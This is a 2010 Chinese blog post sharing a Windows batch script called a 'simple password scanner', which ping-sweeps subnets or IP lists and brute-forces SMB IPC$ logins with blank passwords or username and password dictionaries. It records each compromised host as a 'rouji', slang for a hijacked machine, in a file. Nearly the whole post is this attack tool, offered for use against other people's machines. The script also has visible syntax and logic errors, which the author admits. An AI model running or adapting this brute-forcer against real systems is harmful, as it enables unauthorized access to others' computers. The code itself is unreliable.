DOS命令高级利用终极篇之密码暴力破解应用

作者:乱码 发布于:2010-8-8 20:14 Sunday 分类:dos&vbs&js

DOS命令高级利用终极篇之密码暴力破解应用

这个,这个东东,做了很久了,现在弄出来 感觉自己当时很弱智撒,有些语法错误,还有些命名也不规范5555

@echo off
title simple password scanner BY lcode ^<www.badteen.net^>
color 80
echo ***********************************************************************
echo -------------------- made by lcode --------------------------
echo -----------------------------------------------------------------------
echo badteen I am lcode,gQQ:75847983
echo ***********************************************************************
echo please choose amode:a.inlan b.outlan
set /p mode=""
if %mode%==a goto inlan
if %mode%==b goto outlan

:outlan
set mode1="please another mode:1.scan only a ip 2.scan them that from ip files"
if %mode1%==1 goto m1
if %mode1%==2 goto m2

:m1
echo please write the aim of ip:
set /p ip=""
echo please chose a mode --a.scanning of default b.use file of dic c.use file of password and username
set /p mode=""
if %mode%==a goto a1
if %mode%==b goto b1
if %mode%==c goto c1

:a1
echo scanning! please waiting......
(net use \\%ip%\ipc$ "" /user:administrator && echo I am glad to you that you gain a new rouji!:%ip%

username:administrator nopassword>>rouji.txt)
if not exist rouji (echo there is no the file of rouji ,maybe the ip or the scanning is wrong!)&&(goto error)
echo scanning is end!
echo please find the file at cuurent root!
goto end

:b1
set /p fpwd="please write your the root of your file of the dic of password!"

for /f %%a in (%fpwd%) do (net use \\%ip%\ipc$ %%a /user:administrator && echo I am glad to you that you gain a

new rouji!:%ip% username:administrator password:%%a>>rouji.txt)

if not exist rouji (echo there is no the file of rouji ,maybe the ip or the scanning is wrong! or the password is

not in the file of dic)&&(goto error)

echo scanning is end!
echo please find the file at cuurent root!
goto end

:c1
set /p fpwd="please write your the root of your file of the dic of password!"
set /p fuser="please write your the root of your file of the dic of username!"

for /f %%a in (%fuser%) do for /f %%b in (%fpwd%) do (net use \\%ip%\ipc$ %%b /user:%%a && echo I am glad to you

that you gain a new rouji!:%ip% username:%%a password:%%b>>rouji.txt)

if not exist rouji (echo there is no the file of rouji ,maybe the ip or the scanning is wrong! or the password is

not in the file of dic)&&(goto error)

echo scanning is end!
echo please find the file at cuurent root!
goto end

:m2
echo please choose your the aim of ip file!
set /p fip=""
echo pinging the ip from your file......!

for /f %%a in (%fip%) do (ping -n 1 %%a && echo %mode1%.%mode2%.%%a.%%b>> ip.txt)&(echo %%a is scanned! please

wait next scanning......)

echo pinging is ended!
goto othm1

:othm1
echo please chose a mode --a.scanning of default b.use file of dic c.use file of password and username
set /p mode=""
if %mode%==a goto a1
if %mode%==b goto b1
if %mode%==c goto c11

:c11
set /p fpwd="please write your the root of your file of the dic of password!"
set /p fuser="please write your the root of your file of the dic of username!"

for /f &&d in (ip.txt) do for /f %%a in (%fuser%) do for /f %%b in (%fpwd%) do (net use \\%%d\ipc$ %%b /user:&&a

&& echo I am glad to you that you gain a new rouji!:%%d username:%%a password:%%b>>rouji.txt)

if not exist rouji (echo there is no the file of rouji ,maybe the ip or the scanning is wrong! or the password is

not in the file of dic)&&(goto error)

echo scanning is end!
echo please find the file at cuurent root!
goto end

:inlan
ipconfig >c:\log.txt
findstr "255.255.0.0" c:\log.txt
goto answer%errorlevel%

:answer1
echo your ip is in the C,your ip configuration is:
ipconfig
echo now,please be ready for the scanning!
set /p mode1="please input the first bit of ip:"
set /p mode2="please input the second bit of ip:"
set /p mode3="please input the third bit of ip:"
echo inputing is ended,thank you!,please waiting.......
for /l %%a in (1,1,254) do (ping -n 1 %mode1%.%mode2%.%mode3%.%%a && echo %mode1%.%mode2%.%mode3%.%%a>> ip.txt)&

(echo scanned %mode1%.%mode2%.%mode3%.%%a,please waiting...)
echo the scanning is ended,please waiting.....!
if not exist ip.txt (echo not find ip file,maybe the scanning be not find availble ip)&&(goto error)
goto mode

:answer0
echo your ip is in the C,your ip configuration is:
ipconfig
set /p mode1="please input the first bit of ip:"
set /p mode2="please input the second bit of ip:"
echo inputing is ended,thank you!,please waiting.......
for /l %%a in (1,1,254) do for /l %%b in (1,1,254) do (ping -n 1 %mode1%.%mode2%.%%a.%%b && echo %mode1%.%

mode2%.%%a.%%b>> ip.txt)&(echo scanned %mode1%.%mode2%.%%a.%%b,please waiting...)
echo the scanning of ping is ended ,now,beginning scanning of simple password,please waiting.....!
if not exist ip.txt (echo not find ip file,maybe the scanning be not find availble ip)&&(goto error)
goto mode

:mode
echo please choose amode---1.scanning of default 2.useing dic file
set /p mode=""
if %mode%==1 goto scan
if %mode%==2 goto dic

:dic
set /p root="please input your dic file root!(if the file is at current root,you can only input the file name;if

not,please input the must root of the dic file!)"
echo the scanning of ping is ended ,now,beginning scanning of simple password,please waiting.....!
echo %root%
pause
for /f %%c in (ip.txt) do for /f %%b in (%root%) do (net use \\%%c\ipc$ "" /user:administrator && echo rouji:%%c

username:administrator nopassword>>rouji.txt)&(echo scanning the %%c is ended,please wait next scanning....!
del c:\log.txt
echo simple password is ended,please check the the name of rouji file at current root!(notice:if there is no

rouji.txt,it is shown that there was no rouji!)
pause
exit

:scan
for /f %%c in (ip.txt) do (net use \\%%c\ipc$ "" /user:administrator && echo rouji:%%c username:administrator

nopassword>>rouji.txt)&(echo scanning the %%c is ended,please wait next scanning....!
echo simple password is ended,please check the the name of rouji file at current root!(notice:if there is no

rouji.txt,it is shown that there was no rouji!)
pause
exit

:end
del c:\log.txt
echo the program is exited
pause
exit

:error
del c:\log.txt
echo bad situation!
pause
exit

 


引用地址:

发表评论:

Powered by emlog 湘ICP备10022949号 sitemap